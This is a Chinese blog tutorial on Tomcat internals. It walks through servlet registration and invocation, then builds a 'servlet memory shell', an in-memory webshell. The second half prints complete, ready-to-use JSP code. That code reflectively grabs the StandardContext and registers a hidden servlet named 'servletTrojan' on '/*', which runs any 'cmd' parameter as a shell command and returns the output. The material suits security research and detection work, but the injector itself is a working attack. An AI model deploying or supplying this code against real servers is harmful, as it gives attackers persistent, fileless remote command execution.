文章目录

  • Servlet调用流程分析
    • 1. StandardContext.startInternal注册servlet
    • 2. StandardContextValue.invoke获取wrapper
    • 3. StandardWrapperValue.invoke处理doFilter
    • 4. doFilter调用HttpServlet.service提供服务
  • Servlet内存马
    • 原理
      • Ⅰ.获取context
      • Ⅱ.生成恶意servlet
      • Ⅲ. 生成wrapper并放入context
      • Ⅳ. 配置映射
    • 完整代码
  • 参考引用

Servlet调用流程分析

1. StandardContext.startInternal注册servlet

启动后在startInternal调用了fireLifecycleEvent

然后来到ContextConfig.webConfig

接着来到configureContext,传入web.xml执行解析操作,按顺序解析Listener、Filter、Servlet

对于解析Servlet:首先配置wrapper

  1. 调用StandardContext.createWrapper为每个servlet1创建wrapper
  2. 配置LoadOnStartup启动顺序值
  3. 配置名称

    4.配置类名

然后将wrapper添加到StandardContext,调用的是addChild方法

最后调用addServletMapppingDecoded添加映射

2. StandardContextValue.invoke获取wrapper

注册的wrapper是StandardWrapper类实例,然后调用StandardWrapper.invoke

3. StandardWrapperValue.invoke处理doFilter

然后获取StandardWrapper

首先处理filter

4. doFilter调用HttpServlet.service提供服务

最后doFilter会调用this.servlet.service

HttpServlet.service提供了多种方法

Servlet内存马

原理

模拟正常的注册流程,向StandardContext动态注册含有恶意servlet的Wrapper

  1. 获取context
  2. 生成恶意servlet
  3. 生成wrapper
  4. wrapper放入context
  5. 添加mapping映射

Ⅰ.获取context

和其他两种内存马一样

<%Field requestField = request.getClass().getDeclaredField("request");requestField.setAccessible(true);Request request1 = (Request) requestField.get(request);StandardContext standardContext = (StandardContext) request1.getContext();

Ⅱ.生成恶意servlet

重写service方法,当然重写doGet和doPost一样的

   HttpServlet servlet = new HttpServlet() {@Overrideprotected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {if (request.getParameter("cmd") != null) {boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\A");String output = s.hasNext() ? s.next() : "";response.getWriter().write(output);response.getWriter().flush();}}};

Ⅲ. 生成wrapper并放入context

调用createWrapper方法生成,然后配置name、启动顺序、servlet和类,然后调用addChild加入context

 Wrapper wrapper = standardContext.createWrapper();wrapper.setName("servletTrojan");wrapper.setLoadOnStartup(1);wrapper.setServlet(servlet);wrapper.setServletClass(HttpServlet.class.getName());standardContext.addChild(wrapper);

Ⅳ. 配置映射

使用addServletMappingDecoded而不是addServletMapping

standardContext.addServletMappingDecoded("/*", "servletTrojan");

完整代码

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %><%Field requestField = request.getClass().getDeclaredField("request");requestField.setAccessible(true);Request request1 = (Request) requestField.get(request);StandardContext standardContext = (StandardContext) request1.getContext();HttpServlet servlet = new HttpServlet() {@Overrideprotected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {if (request.getParameter("cmd") != null) {boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\A");String output = s.hasNext() ? s.next() : "";response.getWriter().write(output);response.getWriter().flush();}}};Wrapper wrapper = standardContext.createWrapper();wrapper.setName("servletTrojan");wrapper.setLoadOnStartup(1);wrapper.setServlet(servlet);wrapper.setServletClass(HttpServlet.class.getName());standardContext.addChild(wrapper);standardContext.addServletMappingDecoded("/*", "servletTrojan");out.println("inject done!");out.flush();
%>

参考引用

Servlet内存马

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123716166
版权声明:本文为原创,转载时须注明出处及本声明

『Java安全』Tomcat内存马_动态注册Servlet内存马相关推荐

  1. 『Java安全』Tomcat内存马_动态注册Listener内存马

    『Java安全』反序列化- 文章目录 前言 Tomcat Servlet API Listener介绍 ServletRequestListener介绍 ServletRequestListener调 ...

  2. 20172311『Java程序设计』课程 结对编程练习_四则运算第一周阶段总结

    20172311『Java程序设计』课程 结对编程练习_四则运算第一周阶段总结 结对伙伴 学号 :20172307 姓名 :黄宇瑭 伙伴第一周博客地址: http://www.cnblogs.com/ ...

  3. 2017-2018-2 165X 『Java程序设计』课程 助教总结

    2017-2018-2 165X 『Java程序设计』课程 助教总结 本学期完成的助教工作主要包括: 编写300道左右测试题,用于蓝墨云课下测试: 发布博客三篇:<2017-2018-2 165 ...

  4. java安装 1723_2017-2018-2 1723 『Java程序设计』课程 结对编程练习-四则运算-准备阶段...

    2017-2018-2 1723 『Java程序设计』课程 结对编程练习-四则运算-准备阶段 在一个人孤身奋斗了将近半个学期以后,终于迎来的我们的第一次团队协作共同编码,也就是,我们的第一个结对编程练 ...

  5. [日推荐]『Java学习者』爱学习的程序猿看过来~

    2019独角兽企业重金招聘Python工程师标准>>> 福利时间--今天给程序员大大们推荐一款你们一定会喜欢的小程序,里面有干货哦 Java学习者 **简介:**java学习,Jav ...

  6. 内存溢出_关于PermGen Space内存溢出解决方案

    内存溢出分为Heap Space和PermGen Space两种异常.正巧的是我这次就碰到了PermGen space异常,为了解决这个异常花了我 半天的时间,所以今天写这个方案就是做一种笔记. 刚开 ...

  7. jvm内存结构_浅谈JVM内存结构

    JVM 可以分为 5 个部分,分别是: 类加载器(Class Loader):加载字节码文件到内存. 运行时数据区(Runtime Data Area):JVM 核心内存空间结构模型. 执行引擎(Ex ...

  8. linux内存管理_浅谈Linux内存管理

    1. 扫盲篇 1.1 操作系统存储层次 常见的计算机存储层次如下: 寄存器:CPU提供的,读写ns级别,容量字节级别. CPU缓存:CPU和CPU间的缓存,读写10ns级别,容量较大一些,百到千节. ...

  9. aep内存用法_一种AEP内存接口的压力检测方法及系统与流程

    本发明属于内存接口检测领域,具体涉及一种AEP内存接口的压力检测方法及系统. 背景技术: AEP内存简称Apache Pass DIMMs,为高性能和灵活性而设计的,The Intel® Optane ...

最新文章

  1. 小程序 缩放_缩放流星应用程序的初体验
  2. 单例-双重检查锁定与延迟初始化
  3. XGBoost的PU-Learning
  4. 京东公布3.8“她的节”消费数据:奢品服饰成交额同比增长170%
  5. 关于卸载vmwave虚拟机后键盘不能输入的问题
  6. 获取Android Studio的Sha1
  7. 《别做正常的傻瓜》读书笔记
  8. inlfuxdb版本_InfluxDB安装及配置
  9. js基础知识汇总11
  10. SQL Server索引超出了数组界限解决方法
  11. 3D Max模型贴图以及优化
  12. 智慧城市智慧路灯解决方案
  13. 计算机网络(网络编程)
  14. python中的myql的execute()
  15. php 支持zip解压缩,PHP自带ZIP压缩、解压缩类ZipArchiv使用指南
  16. diff比较两个目录时,如何略过特定目录或文件
  17. 平面三角形与三角函数(1):角的度量与换算、三角函数的定义、图形与特征
  18. Web浏览过程中涉及到的协议
  19. 长春理工大学成人高考报名流程
  20. wpa_supplicant 介绍

热门文章

  1. 阿里云弹性计算产品总监王志坤:在分布式云领域的产品布局和最佳实践
  2. 数据结构-线索化二叉树
  3. 什么是合同陷阱,应该如何防范?
  4. Typora 常用快捷键使用汇总
  5. 不可多得的WinXP技巧十则(转)
  6. 使用C#开发了一套收银软件
  7. 用ChatGPT处理Excel问题,工作效率狂升!
  8. 用dumpcpp工具生成的excel.h/excel.cpp来操纵Excel
  9. 远程办公:在外随时远程控制公司电脑
  10. c语言中printf的转义字符,C语言Printf格式